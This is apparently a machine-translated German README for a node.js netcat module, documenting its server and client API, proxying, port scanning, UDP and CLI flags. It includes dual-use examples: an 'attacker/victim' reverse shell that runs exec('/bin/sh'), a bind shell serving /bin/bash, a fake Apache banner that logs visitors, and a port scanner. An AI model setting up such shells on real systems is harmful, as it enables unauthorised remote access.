NetCat -Client- und Servermodule in reinem JavaScript für node.js.
Voll getestete Module, die alle Merkmale des grundlegenden NETCAT implementieren. Um als eigenständiges Tool zu verwenden, installieren Sie das NC -Paket.
| Linux/Mac | Fenster |
|---|---|
.auth('pass') ). allow und deny spezifische Remote-IP-Addesse. $ npm install --save netcat
const NetcatServer = require ( 'netcat/server' )
const NetcatClient = require ( 'netcat/client' )
const nc = new NetcatServer ( )
const nc2 = new NetcatClient ( ) Die API dieses Moduls folgt tendenziell so weit wie möglich den CLI -Paramien des ursprünglichen NetCats.
Zum Beispiel: nc -l -p 2389 entspricht nc.port(2389).listen() . Einfach richtig?
| Server | Kunde |
|---|---|
nc.port(2389).listen() | nc2.addr('127.0.0.1').port(2389).connect() |
| Server | Kunde |
|---|---|
nc.port(2389).listen().pipe(outputStream) | inputStream.pipe(nc2.port(2389).connect().stream()) |
oder viceversa Sie können das Äquivalent von nc -l -p 2389 < filename.txt durchführen, und wenn sich jemand anderes mit Ihrem Port 2389 verbindet, wird die Datei an sie gesendet, ob sie es wollten oder nicht:
| Server | Kunde |
|---|---|
nc.port(2389).serve('filename.txt').listen() | nc2.port(2389).connect().pipe(outputStream) |
| Server | Kunde |
|---|---|
nc.port(2389).k().listen() | inputStream.pipe(nc2.port(2389).connect().stream()) |
Der Server wird am Leben erhalten und nach der ersten Verbindung nicht geschlossen. ( k() ist ein Alias für keepalive() )
| Server | Kunde |
|---|---|
nc.port(2389).listen().serve(Buffer.from('Hello World')) | nc2.port(2389).connect().on('data', console.log) |
| Server | Kunde |
|---|---|
nc.port(2389).listen().exec('/bin/bash') | process.stdin.pipe( nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream() ) |
Die exec() -Methode führt den angegebenen Befehl aus und leitet seine stdout und stderr mit dem Client socket zusammen.
| Angreifer | Opfer |
|---|---|
nc.k().port(2389).listen().serve(process.stdin).pipe(process.stdout) | nc2.addr('127.0.0.1').port(2389) .retry(5000).connect().exec('/bin/sh') |
NetCat kann sehr einfach als Proxy -Server konfiguriert werden:
var nc = new NetcatServer ( )
var nc2 = new NetcatClient ( )
nc2 . addr ( 'google.com' ) . port ( 80 ) . connect ( )
nc . port ( 8080 ) . k ( ) . listen ( ) . proxy ( nc2 . stream ( ) ) Der gesamte Datenverkehr, der auf localhost:8080 fließt, wird auf google.com:80 umgeleitet. In ähnlicher Weise können Sie eine Portweiterleitung mit demselben Host einrichten.
Stellen Sie sich vor, ein Apache -Server zu sein:
var apache = `HTTP/1.1 200 OK
Date: Sat, 27 May 2017 16:51:02 GMT
Server: Apache/2.4.7 (Ubuntu)
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 16894
Vary: Accept-Encoding
`
var nc = new NetcatServer ( )
var logFile = fs . createWriteStream ( 'log.txt' )
nc . port ( 80 ) . k ( ) . listen ( ) . serve ( Buffer . from ( apache ) ) . pipe ( logFile ) Der NetCAT -Client bietet auch eine grundlegende Port -Scan -Funktionalität.
var nc = new NetcatClient ( )
nc . addr ( '127.0.0.1' ) . scan ( '22-80' , function ( ports ) {
// ports: { '22': 'open', '23': 'closed' ... }
} ) Der Port -Scanner ist nur TCP -Protokoll. Der UDP -Scan ist nicht wirklich effektiv. scan(...) akzeptiert auch ein Array oder eine Ganzzahlnummer.
var nc = new NetcatServer ( )
nc . addr ( '127.0.0.1' ) . port ( 8080 ) . filter ( function ( chunk , enc , cb ) {
// transform upper case
var out = chunk . toString ( ) . toUpperCase ( )
this . push ( Buffer . from ( out ) )
cb ( null )
} ) . pipe ( process . stdout ) . connect ( ) Sowohl der NetCAT -Server als auch der Client unterstützen den UNIX -Socket Conn. Verwenden wir unsere NetCat -Client -Instanz, um eine Verbindung zum Docker Unix Socket -Datei herzustellen und die Liste der Bilder unserer Container abzurufen.
nc2 . unixSocket ( '/var/run/docker.sock' ) . enc ( 'utf8' )
. on ( 'data' , function ( res ) {
console . log ( res )
} )
. connect ( )
. send ( 'GET /images/json HTTP/1.0rnrn' ) var nc = new NetcatServer ( )
nc . udp ( ) . port ( 2100 ) . listen ( ) . on ( 'data' , function ( rinfo , data ) {
console . log ( 'Got' , data . toString ( ) , 'from' , rinfo . address , rinfo . port )
nc . close ( )
} ) var nc2 = new NetcatClient ( )
nc2 . udp ( ) . port ( 2100 ) . wait ( 1000 ) . init ( ) . send ( 'hello' , '127.0.0.1' ) Senden Sie den hello Puffer an Port 2100 und schließen Sie dann nach 1000 ms den Client.
port(int) oder p(int)NetCat kann an jeden lokalen Port binden, vorbehaltlich von Berechtigungsbeschränkungen und -Ports, die bereits verwendet werden.
address(host) oder addr(host)0.0.0.0 standardmäßig.127.0.0.1 standardmäßig. listen()Lassen Sie den UDP/TCP -Server auf dem zuvor festgelegten Port anhören.
unixSocket(path) - nur TCPOptional können Sie den Pfad zu einer UNIX -Sockendatei bereitstellen und dazu anhören/verbinden.
connect() - TCPNur Kunden-Seite. Lassen Sie den Client eine Verbindung zur zuvor festgelegten Adresse und an der Port herstellen.
retry(ms) - TCP Nur Kunden-Seite. Wiederholen Sie die Verbindung jeder ms Millisekunden, wenn die Verbindung verloren geht.
interval(ms) oder i(ms)Nur Client-Side: Gibt ein Verzögerungszeitintervall für gesendete Daten an. In Millisekunden.
waitTime(ms) oder wait(ms)Setzen Sie eine Auszeit.
ms Milliseconds aus den ersten Daten und wird die Verbindung schließen.ms Milliseconds, und wenn keine Daten zum Senden des Clients geschlossen werden. stream()Geben Sie die Client -Duplexstream -Referenz zurück.
pipe(outStream)Pipe eingehende Daten vom Client zum angegebenen Outstream.
filter(transformFn) Filtern Sie die eingehenden Daten mit der angegebenen function (chunk, enc, cb){...} bevor Sie herausgeflochten werden.
NB : Die von Ihnen erhaltenen .on('data', cb) -Daten sind nicht gefiltert. Der Filter gilt nur für den Piped .pipe(...) Stream.
Bekanntes Problem : through2 jetzt respektiert die Codierung nicht. Wenn Sie einen Filter festlegen, erhalten Sie einen Puffer und die enc() -Methode ist nutzlos.
serve()Serverseitige Methode.
Die serve akzeptiert entweder eine Zeichenfolge (wodurch ein Dateinamen angezeigt wird, stellen Sie sicher, dass die Datei vorliegt), einen lesbaren Stream oder einen Puffer. Wenn Sie einen lesbaren Stream übergeben, kann die Keepalive -Methode dazu führen, dass der Stream auf die erste Anfrage verbraucht wird und nicht mehr bedient werden kann (der Stream wird nicht in einem Puffer zwischengespeichert).
Darüber hinaus wird das Rohr beim Servieren einer Datei oder einem Puffer in eine Steckdose ein end -Ereignis (EOF) in den Sockel ausgibt. Den Strom schließen.
send(data [, cb|host])Client-Seite:
cb wird aufgerufen, sobald die Daten gesendet werden.Serverseitig:
serve() .end(data) - nur TCPClient-Seite-Methode. Senden Sie gegebene Daten und schließen Sie die Verbindung.
close([cb]) Schließen Sie die Verbindung (oder die Verbindungen, falls die Server-Seite ausgeführt) und rufen Sie cb auf, sobald der Sockel geschlossen ist.
enc() Setzen Sie eine Codierung. Die häufigsten sind: utf8 , ascii , base64 , hex , binary , hex .
protocol(prot) Stellen Sie ein benutzerdefiniertes Protokoll ein. Die Verwendung dieser Methode ist entmutigt. Verwenden Sie stattdessen die Methoden tcp() und udp() . tcp ist der Standardwert.
keepalive() oder k() - TCPServerseitige Methode.
Wenn Sie das Keepalive festlegen, bleibt der Server auf dem Laufenden und möglicherweise den übersteuerten Outstream pipe(outStream) geöffnet.
Standardmäßig im UDP -Modus wird das Hören am Leben erhalten, bis ein expliziter nc.close() .
exec() - TCP nur Die exec() -Methode führt den angegebenen Befehl aus und leitet seine stdout und stderr mit dem Client socket zusammen. Es akzeptiert optional eine Zeichenfolge und ein Array von Args als zweiten Param und die Spawn -Optionen als dritte Param. Wenn ein Rohrkosten gefunden wird | Dann werden alle Befehle unter einem sh -c verarbeitet.
Beispiel:
nc . p ( 2389 ) . exec ( 'base64' , [ '-d' ] ) . listen ( )
// OR
nc . p ( 2389 ) . exec ( 'base64 | grep hello' ) . listen ( ) getClients() - nur TCPServerseitige Methode. Geben Sie ein Objekt zurück, das alle Client -Socket -Referenzen auflistet.
proxy(duplexStream) - nur TCP Serverseitige Methode. Diese Methode leitet den Server eingehenden/ausgewählten Daten in den bereitgestellten Duplexstream ein. Es ist wie eine Abkürzung für beide Anrufe: .serve(duplexStream) und .pipe(duplexStream) .
output(outStream) oder out(outStream) Schreiben Sie einen Hex -Dump aus eingehenden oder ausgänglichem Verkehr in den angegebenen beschreibbaren outStream .
Eine Zeile repräsentiert standardmäßig einen Teil von mindestens 16 Bytes.
Der erste Charakter kann entweder < "eingehender Chunk" oder "aus > Ausdruck" sein.
scan(portsInterval, cb) - Nur TCPDer NetCAT -Client bietet auch eine grundlegende Port -Scan -Funktionalität.
Die Parameter sind Mandatorien. Der erste Parameter gibt den zu scanischen Port/s an. Es kann eine einzelne Ganzzahl, ein Stringintervall (wie 22-80 ) oder ein Anteil von Ganzzahl ( [22, 23, 1880] ) sein. Die Rückrufrückgabe als Ergebnis Ein Objekt wie { '22': 'open', '23': 'closed' ... } .
init() - UDP nur Das UDP-Äquivalent von connect() . Nur für UDP -Kunden.
bind(<int>) - UDP Lassen Sie den UDP -Client/Server den angegebenen Port anhören. Es wird auch als ausohrerer Port verwendet, wenn .port(<n>) nicht genannt wurde.
broadcast(<dst>) oder b(<dst>) - nur UDPSetzen Sie die Sendung für den UDP -Server (schließlich können Sie eine Zieladresse angeben).
destination(<dst>) - Nur UDP Legen Sie eine Zieladresse fest. ( 127.0.0.1 ist der Standardwert)
loopback() - UDPLoopback aktivieren. Wenn beispielsweise ein UDP -Server für einen Port gebunden ist und eine Nachricht an diesen Port sendet, wird die MSG zurückgezogen, wenn Loopback aktiviert ist.
bind(int) - UDP Binden Sie den UDP -Server/den UDP -Server/den Client auf den angegebenen Port an und verwenden Sie den Port -Set mit port() nur für ausstehende Pakete.
Die NetCAT -Module erweitern die EventEmitter -Klasse. Sie können einige Ereignisse direkt von den Steckdosen fangen. Zum Beispiel das data für den Server:
| Server | Kunde |
|---|---|
nc.port(2389).listen().on('data', onData) | inputStream.pipe(nc2.port(2389).connect().stream()) |
function onData ( socket , chunk ) {
console . log ( socket . id , 'got' , chunk ) // Buffer <...>
socket . write ( 'hello client' ) // reply to the client
}.on('data', function(sock/rinfo, msg){})Emittiert, wenn der Server Daten von den Clients erhält.
.on('ready', cb)Emittiert, wenn der Server erfolgreich an einen Port zuhört/binden.
.on('close', cb)Emittiert, wenn der Server schließt.
.on('clientClose', function(socket, hadError){}) - nur TCP Aufgerufen, wenn ein Client die Verbindung vom Server abnimmt. Der Rückruf akzeptiert als 1. Param die socket -Instanz, die gerade getrennt ist, und einen Bool Val hadError .
.on('connection', function(socket){}) - nur TCPEmittiert, wenn ein neuer Client eine Verbindung zum Server herstellt.
.on('end', function(socket){}) - nur TCPEmittiert, wenn ein Client die Verbindung beendet.
.on('timeout', function(socket){}) - nur TCPSocket Timeout Event.
.on('waitTimeout', cb) Feuert, wenn der Server für eine bestimmte Zeit wait(ms) inaktiv bleibt.
.on('error', function(err){})Auf Fehler emittiert.
.on('data', function(msg){})Daten vom Server.
.on('close', cb)Emittiert, wenn der Kunde schließt.
.on('waitTimeout', cb) Entlassen, wenn der Kunde für eine bestimmte Zeit wait(ms) inaktiv bleibt.
.on('connect', cb) - Nur TCPEmittiert, wenn der Client eine Verbindung mit einem Server herstellte.
.on('error', function(err){})Auf Fehler emittiert.
Für die eigenständige Nutzung installieren Sie das NC CLI -Paket:
$ npm install -g nc
Beispiel:
$ # Listen for inbound
$ nc -l -p port [- options] [hostname] [port]
Verfügbare Optionen:
-c shell commands as '-e'; use /bin/sh to exec [dangerous!!]-e filename program to exec after connect [dangerous!!]-b allow broadcasts-i secs delay interval for lines sent, ports scanned (client-side)-h this cruft-k set keepalive option on socket-l listen mode, for inbound connects-n numeric-only IP addresses, no DNS-o file hex dump of traffic-p port local port number-r randomize local and remote ports-q secs quit after EOF on stdin and delay of secs-s addr local source address-u UDP mode-U Listen or connect to a UNIX domain socket-v verbose-w secs timeout for connects and final net reads-z zero-I/O mode [used for scanning] Debugg entspricht dem ausführlichen Modus. Sie können es mit dem verbose: true Param oder dem Env var DEBUG=netcat:*
Führen Sie sie mit: npm test
Berichterstattung:
.serve(input) .pipe() und serve() . exec() Methode Rocco Musolino (@roccomuso)
MIT